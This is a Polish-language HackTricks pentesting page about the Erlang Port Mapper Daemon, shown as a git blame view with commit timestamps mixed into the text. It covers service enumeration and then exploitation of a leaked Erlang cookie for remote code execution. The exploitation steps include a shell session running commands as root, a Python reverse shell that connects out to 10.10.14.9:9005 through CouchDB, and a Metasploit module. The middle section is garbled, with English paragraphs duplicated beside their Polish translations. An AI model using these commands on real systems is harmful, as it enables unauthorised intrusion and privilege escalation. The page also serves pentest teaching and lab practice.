hacktricks/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md

138 lines
7.6 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-02-11 01:46:25 +00:00
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 01:46:25 +00:00
# Podstawowe informacje
2024-02-11 01:46:25 +00:00
**Erlang Port Mapper Daemon (epmd)** pełni rolę koordynatora dla rozproszonych instancji Erlanga. Jest odpowiedzialny za mapowanie symbolicznych nazw węzłów na adresy maszyn, zapewniając, że każda nazwa węzła jest skojarzona z określonym adresem. Rola **epmd** jest kluczowa dla płynnej interakcji i komunikacji między różnymi węzłami Erlanga w sieci.
2024-02-11 01:46:25 +00:00
**Domyślny port**: 4369
```
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
```
2024-02-11 01:46:25 +00:00
To jest domyślnie używane w instalacjach RabbitMQ i CouchDB.
2024-02-11 01:46:25 +00:00
# Wyliczanie
2024-02-11 01:46:25 +00:00
## Ręczne
```bash
echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369
#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses
```
2024-02-11 01:46:25 +00:00
## Automatyczne
### Introduction
### Wprowadzenie
The Erlang Port Mapper Daemon (EPMD) is a network service that runs on the Erlang runtime system. It is responsible for managing the distribution of Erlang nodes on a network. EPMD listens on port 4369 by default and allows nodes to register and discover each other.
Erlang Port Mapper Daemon (EPMD) to usługa sieciowa działająca na systemie uruchomieniowym Erlang. Odpowiada za zarządzanie dystrybucją węzłów Erlang w sieci. EPMD nasłuchuje na domyślnym porcie 4369 i umożliwia rejestrację i odkrywanie węzłów.
### Automatic Discovery
### Automatyczne odkrywanie
One of the key features of EPMD is its ability to automatically discover Erlang nodes on a network. This feature is particularly useful in distributed Erlang systems where nodes need to communicate with each other.
Jedną z kluczowych cech EPMD jest jego zdolność do automatycznego odkrywania węzłów Erlang w sieci. Ta funkcja jest szczególnie przydatna w rozproszonych systemach Erlang, gdzie węzły muszą komunikować się między sobą.
2024-02-11 01:46:25 +00:00
When a new Erlang node starts, it can register itself with EPMD by sending a registration request to the EPMD server. The EPMD server then assigns a unique port number to the node and adds it to its registry. Other nodes can discover this new node by querying the EPMD server.
2024-02-11 01:46:25 +00:00
Gdy nowy węzeł Erlang zostaje uruchomiony, może zarejestrować się w EPMD, wysyłając żądanie rejestracji do serwera EPMD. Serwer EPMD przypisuje węzłowi unikalny numer portu i dodaje go do swojego rejestru. Inne węzły mogą odkryć ten nowy węzeł, pytając serwer EPMD.
### Conclusion
### Podsumowanie
EPMD plays a crucial role in managing the distribution of Erlang nodes on a network. Its automatic discovery feature simplifies the process of node registration and allows nodes to easily communicate with each other in distributed Erlang systems.
EPMD odgrywa kluczową rolę w zarządzaniu dystrybucją węzłów Erlang w sieci. Jego funkcja automatycznego odkrywania upraszcza proces rejestracji węzłów i umożliwia łatwą komunikację między nimi w rozproszonych systemach Erlang.
```bash
nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
2024-02-11 01:46:25 +00:00
| epmd-info:
| epmd_port: 4369
2024-02-11 01:46:25 +00:00
| nodes:
| bigcouch: 11502
| freeswitch: 8031
| ecallmgr: 11501
| kazoo_apps: 11500
|_ kazoo-rabbitmq: 25672
```
2022-05-01 12:49:36 +00:00
# Erlang Cookie RCE
2022-05-01 12:49:36 +00:00
## Remote Connection
2020-07-16 18:26:18 +00:00
2024-02-11 01:46:25 +00:00
Jeśli uda ci się **ujawnić ciasteczko uwierzytelniające**, będziesz mógł wykonać kod na hoście. Zazwyczaj ciasteczko to znajduje się w `~/.erlang.cookie` i jest generowane przez Erlang przy pierwszym uruchomieniu. Jeśli nie jest zmieniane lub ustawiane ręcznie, jest to losowy ciąg \[A:Z] o długości 20 znaków.
```bash
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
Eshell V8.1 (abort with ^G)
At last, we can start an erlang shell on the remote system.
(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"
```
2024-02-11 01:46:25 +00:00
Więcej informacji na [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
Autor udostępnia również program do bruteforce'owania ciasteczka:
{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}
2024-02-11 01:46:25 +00:00
## Lokalne połączenie
2020-07-16 18:26:18 +00:00
2024-02-11 01:46:25 +00:00
W tym przypadku zamierzamy wykorzystać CouchDB do eskalacji uprawnień lokalnie:
2020-07-16 18:26:18 +00:00
```bash
2024-02-11 01:46:25 +00:00
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
2020-07-16 18:26:18 +00:00
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
```
2024-02-11 01:46:25 +00:00
Przykład zaczerpnięty z [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\
Możesz użyć maszyny **Canape HTB** do **ćwiczenia**, jak **wykorzystać tę podatność**.
2020-07-16 18:26:18 +00:00
2022-05-01 12:49:36 +00:00
## Metasploit
```bash
#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce
```
2022-05-01 12:49:36 +00:00
# Shodan
2024-02-11 01:46:25 +00:00
* `port:4369 "na porcie"`
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 01:46:25 +00:00
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
2022-04-28 16:01:33 +00:00
</details>